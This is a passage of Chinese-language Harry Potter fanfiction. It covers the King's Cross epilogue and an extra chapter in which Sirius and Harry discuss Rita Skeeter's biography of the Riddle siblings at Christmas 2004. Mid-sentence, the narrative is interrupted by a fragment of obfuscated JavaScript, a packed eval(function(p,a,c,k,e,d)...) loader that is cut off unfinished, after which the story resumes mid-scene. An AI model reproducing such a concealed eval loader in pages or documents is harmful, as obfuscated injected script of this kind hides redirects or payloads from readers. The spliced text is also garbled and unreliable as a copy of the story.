“耶!”詹姆兴奋地说,“我不介意和阿尔一起住,泰迪可以住我的房间!” “不。”哈利坚定的说,“除非我想把我辛苦修好的房子毁了,我才会让你和阿尔住在一起。” 他低头看了看那曾经属于费比安·普威特的已经有点歪了的旧手表——那是在大战结束两年后他获得的成年礼物。 “马上就11点了,你们最好赶快上火车。” “别忘了替我们给纳威问好!”当金妮拥抱詹姆的时候叮嘱他。“当然,还有斯内普校长。” “老妈,我可不能跟一个教授太亲近了!” “但是你是认识纳威的——” 詹姆翻了翻眼睛。 “那是在外面,对呀,但是在学校他是隆巴顿教授,不是吗?我可不能到了霍格沃茨还整天跟在草药学教授屁股后面问这问那……” 他摇摇头,为了妈妈的不开窍,然后对准阿不思踢了一脚,发泄自己的不满。 “回头见,阿尔,留神夜骐。” “我想它们是隐形的?你说它们隐形!” 但是詹姆只是笑了笑,让他妈妈吻了他,给了他爸爸一个短暂的拥抱, 汤姆已经站在火车的窗口,詹姆最后和他的家人挥了挥手,就急匆匆的跑上了车和汤姆汇合。 “夜骐一点也用不着担心。”哈利告诉阿不思,“它们是很温顺的东西,没什么好害怕的。而且,你不是坐马车去学校,而是乘船。” 金妮吻别了阿不思。 “圣诞节见。” “再见,阿尔。”哈利拥抱儿子时对他说,“别忘了海格邀请你们下周五去喝茶。别和皮皮鬼打架。在你学会了如何做之前不要和任何人决斗。别总让詹姆把你搞得紧张兮兮的。” “如果我被分到了斯莱特林怎么办?” 他贴在父亲身边耳语着,哈利知道只有在离别的瞬间阿不思才真正地把害怕表现了出来。 哈利蹲了下来,这样阿不思可以直视他。在哈利的三个孩子中间,只有阿不思继承了哈利的绿眼睛。 “阿不思·西弗勒斯·波特。”哈利用除了金妮别人都听不到的声音说,但是金妮装作正在给刚刚上了火车的露丝招手。“我们用了霍格沃茨的两任校长的名字给你起了名字。他们中的一个就是一个斯莱特林,而他大概是我这辈子见过的最勇敢的人。” “但如果——” “那么斯莱特林会得到一个非常优秀的学生,不是吗?那没什么关系的。但是如果你真的很介意,你可以自己选择斯莱特林或者格兰芬多。分院帽会考虑你的选择的。” “真的?” “它对我就是这么做的。”哈利说。“很多人,就比如斯内普校长,他们的真实面目并不是表面上看到的那样。” 他以前从来没有把这个告诉他的孩子,当阿不思听到时,脸上充满了开心的表情。但这时猩红色的火车就要关门了,家长们涌向前面给孩子们最后一吻,同时做着最后的叮嘱,阿不思跳上车厢,金妮把他身后的门关上了。学生们涌向了离他们最近的车厢,无数张脸,车里的车外的,看起来都转向了哈利。 “为什么他们都这么盯着?”当阿不思和露丝看到四周的情况时疑惑的问道。 “别担心。”罗恩说,“那是因为我,我实在太出名了。” 阿不思、露丝、雨果和莉莉笑了。火车开动了,哈利退到了一边,看到他儿子瘦瘦的小脸正兴奋得发光。哈利一直微笑着挥着手,注视着儿子离开,尽管这看起来有那么点伤感…… 最后一缕蒸汽的痕迹消失在秋天的空气中,火车转弯了,哈利的手仍然举在空中挥动着。 “他会没事的!”金妮低声说。 哈利看着她,茫然地低下头,摸了摸额头上闪电形的伤疤。 “肯定的。” 偶尔,他还会想起自己青涩时期对那个黑发女孩的怦然心动,偶尔,他会回想起学生时代惊心动魄的历险,现在,二十一年过去了——冬青木,凤凰羽毛的魔杖依旧为他所用,伤疤也再也没有疼过。 一切都很好。 97.下卷番外·二 丽塔·斯基特不会放过一个蹭流量的机会,并且,她一般在人死后立即出版传记——这样做确保公众有很高的兴致购书,更重要的原因是,对已去世人物进行诽谤不能构成犯罪。这个做法她屡试不爽——最大的代表就是在1992年迪佩特校长去世时所写的《Armando Dippet: Master or Moron?》,以及1995年仅用四周就写出来的《The Life and Lies of Albus Dumbledore》,它们都成为很长一段时间的霸榜畅销书。 不过,在1996年大战结束后,她消停了很长一段时间——最起码,销声匿迹了近两年。赫敏得知了她是一个甲虫(未注册阿尼玛格斯)的秘密,然后将她关在了一个瓶子中让她反省再后来,赫敏在毕业后选择了进入魔法部,更好地监督记者所报道的内容的真实性。 在大战结束之后的第七年,也就是2003年,读者们终于又看到了丽塔·斯基特新书的出版——《The Riddle siblings, Beauty and the Beast?》——与斯基特之前的畅销书不同,这本书在刚出版的时候几乎无声无息,尽管食死徒余党被抓近阿兹卡班,而还有其他很多巫师一直对神秘人有着一些畏惧,就连丽塔·斯基特在书中的文风也收敛了不少。但是,不到一年的时间,这本书一传十十传百,很快再次在畅销榜上名列前茅。 2004年圣诞节,西里斯从瑞士回到戈德里克山谷的波特宅和哈利夫妇团聚。在餐桌上,他们又聊起了这个话题。 “哈利,我听说去年的时候斯基特又对你做了采访?”西里斯问道。 “哦,是的。她想写一本关于伏地魔过去的故事,而我是和凯瑟琳接触比较多的人,并且邓布利多只和我讲述过里德尔的过去,她想要知道不为人知的秘密,就必须采访我。”哈利回答,他将丽塔·斯基特写的《里德尔兄妹,美女与野兽?》交到他教父手里,厚厚的一本书。 西里斯把书放在盘子旁边,刚一翻开就看见扉页上写着: 【——献给读者们。 邓布利多教授曾对哈利说:“迷情剂的产物怎么懂得爱呢?”可是,真的是如此吗?】 “她能写这么多?我很怀疑她那个大嘴巴里憋不出什么真实的消息,只有狗屁。” 西里斯对丽塔·斯基特似乎尝试在扉页提到两个伟人来吸引流量这种行为很不满,因此皱起了眉头。 “赫敏已经因为她诽谤邓布利多的事把她狠狠惩罚过了。”哈利说,“而且这本书在出版之前我就看过,没有很离谱的内容,顶多有一些艺术加工……” “至少她没有再次抹黑哈利。”金妮在一旁补充道。 西里斯挑了挑眉,“她要是敢这么做,哈利的教父肯定不会放过她的。” “谢谢。”哈利不无感动地说。 西里斯把盘子里的菜放进嘴里的同时,目光一直留在那本书上。于是,他又翻了翻。 “她居然还写了我弟弟。” “那也是我跟她说的,毕竟雷古勒斯是那个复活凯瑟琳的人。”哈利说道,“斯基特在知道之后又想专门去采访雷古勒斯……结果吃了闭门羹。貌似求了很久才被勉强同意——哦,詹姆又哭了,金妮。” 哈利口中的詹姆是詹姆·西里斯·波特,他是哈利和金妮的第一个孩子,目前还不满一岁。金妮匆忙跑进卧室里哄孩子,西里斯和哈利则接着刚才的话题聊。 “让我看看这书里都写了什么……”西里斯把目光重新放到书上。 目录显示这是一个写了近一百章的故事,从里德尔兄妹出生之前,一直讲到1996年第二次巫师大战结束。西里斯找到了讲伏地魔将妹妹的灵魂存放在他姐姐贝拉特里克斯·布莱克体内的片段。 “……年幼的贝拉什么也不知道,而她不负责的父母依旧在隔壁的房间里呼呼大睡。汤姆·里德尔就这样轻松地破解了属于布莱克家的保护魔法,翻窗而入……原来如此。伏地魔这种人还会想办法保存他妹妹的灵魂,真实太令人匪夷所思了。”西里斯在读了几段之后评论道。 “这可能是真的。”哈利说,“你得看完全文才能明白。我认为丽塔在很多方面对伏地魔的分析是贴切的。就比如,她说汤姆·里德尔在年轻的时候一定爱着他妹妹,在灵魂被分裂之前,他还是一个有情绪,会顾念亲近之人的人,要不然,也不能解释他为什么会在最后时刻选择跟着凯瑟琳离开。” 西里斯继续往后读着。 “这记者把我也写进去了。” “是啊,我记得我当时还写信问过你呢!”哈利说道,“斯基特坚持说如果不把你们兄弟的关系写进去和里德尔兄妹做对比,那就太可惜了,还有什么整个文章都没有意义了之类云云。” “……刚从阿兹卡班出逃的西里斯丝毫没有意识到弟弟的良苦用心。无论是出现在禁林和阿兹卡班的那只银白色的雄狮,还是日复一日为哥哥的安慰担忧着却又无能为力的忧郁脸庞,明明都是雷古勒斯担忧他哥哥的强有力证据……” 哈利看到西里斯皱起了眉头,但是他并没有吐槽什么。 “……值得欣慰的是,拥有血脉相连的兄弟姐妹一定是上天的安排。无论这些兄弟在年轻时有多么毫无相似之处,或者有着完全不一样的观点,但他们终归是一家人。因此,当把时间范畴扩大,看向长久的未来。即使是粗鲁的阿不福思也会为了继承哥哥的遗志勇敢地与伏地魔战斗,即使是鲁莽的西里斯也会选择和自己的弟弟和解。那么里德尔兄妹呢?尽管求学期间他们有着云泥之别,但到了最后时刻,他依旧会选择回到最亲近之人的身边……” 西里斯把书放下了,他似乎在想着什么。而金妮正好从卧室里走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“比如这段话,‘爱是伟大的,无论是亲情、友情还是爱情。爱情会让所有的荒芜和孤寂化为生机。所以,回答我写在扉页上的那个问题——伏地魔真的就不懂爱吗?他究竟和他的妹妹有多少不同,又有多少相似?我的回答是,他懂,只是他从未重视过这个感情。孤儿出生的他认为只有最强大的魔法才能给他带来安全感,是幼年时的孤苦遭遇、是残忍抛弃他的父母造就了他的扭曲;并且,如果没有凯瑟琳,或许他会更早地步入邪路,并且永无悔过的可能。老话说的好,朝闻道,夕死可矣。或许在他穿过死亡的帷幔之后,或许在另外的时空,他会是一个心中有爱,眼里有光的幸福的孩子。’我甚至怀疑甲虫记者变性了,写这么文绉绉的话,但确实在理。”西里斯捧着书说道。 “我好像知道为什么她这本书没有诽谤他人也能畅销了。” “我也明白了。”哈利和西里斯相视而笑。 “真诚,永远是最好的必杀技。” 在戈德里克山谷簌簌的落雪声和波特宅噼啪的炉火声中,2004年的圣诞节过去了。